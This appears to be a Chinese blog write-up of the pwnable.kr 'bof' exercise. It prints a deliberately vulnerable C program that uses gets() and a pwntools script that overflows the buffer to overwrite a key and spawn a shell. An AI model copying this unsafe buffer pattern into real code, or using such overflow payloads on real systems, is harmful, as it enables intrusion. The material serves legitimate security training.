PWN学习资料

PWN学习笔记(三)

2019-06-19  本文已影响0人  Sarace

PWN学习笔记(三)

0x01

这次我们开始进行第三个题目:


截图_2019-06-19_20-26-11.png

下面就是bof.c的代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

从代码中我们可以看到这里使用了一个危险函数gets(),这里我们可以控制overflowme的内容来控制堆栈的内容,覆盖掉key的原本的内容,让key的值等于0xcafebabe。这样我们就可以轻松过关了。是不是很简单呢?

0x02

下面我们就来看一下程序的汇编代码:


截图_2019-06-19_21-40-30.png

通过上图,我们可以看到我们输入的变量保存在ebp-0x2c的地方,而我们的key则保存在ebp+0x8的地方,这里我们就需要了解一下这时的栈结构:

截图_2019-06-19_22-05-34.png

所以我们需要控制我们的输入,覆盖掉ebp+0x8的地方,这里我使用了pwntools来帮助我实现这段shellcode

from pwn import *
context.log_level = 'debug'
conn = remote('pwnable.kr',9000)
p = 'A'*52
p += p32(0xcafebabe)
conn.sendline(p)
conn.interactive()

我们需要从ebp-0x2c一直覆盖到ebp+8的地方,一共是56字节,但是最后4个字节是我们的key,所以我使用了52个A加上我们的目标字符串进行拼接。
运行上面的这段python代码,就可以获得flag了。
PS:pwntools是一个非常好用的pwn工具,希望大家能掌握它的使用。

上一篇下一篇

猜你喜欢

热点阅读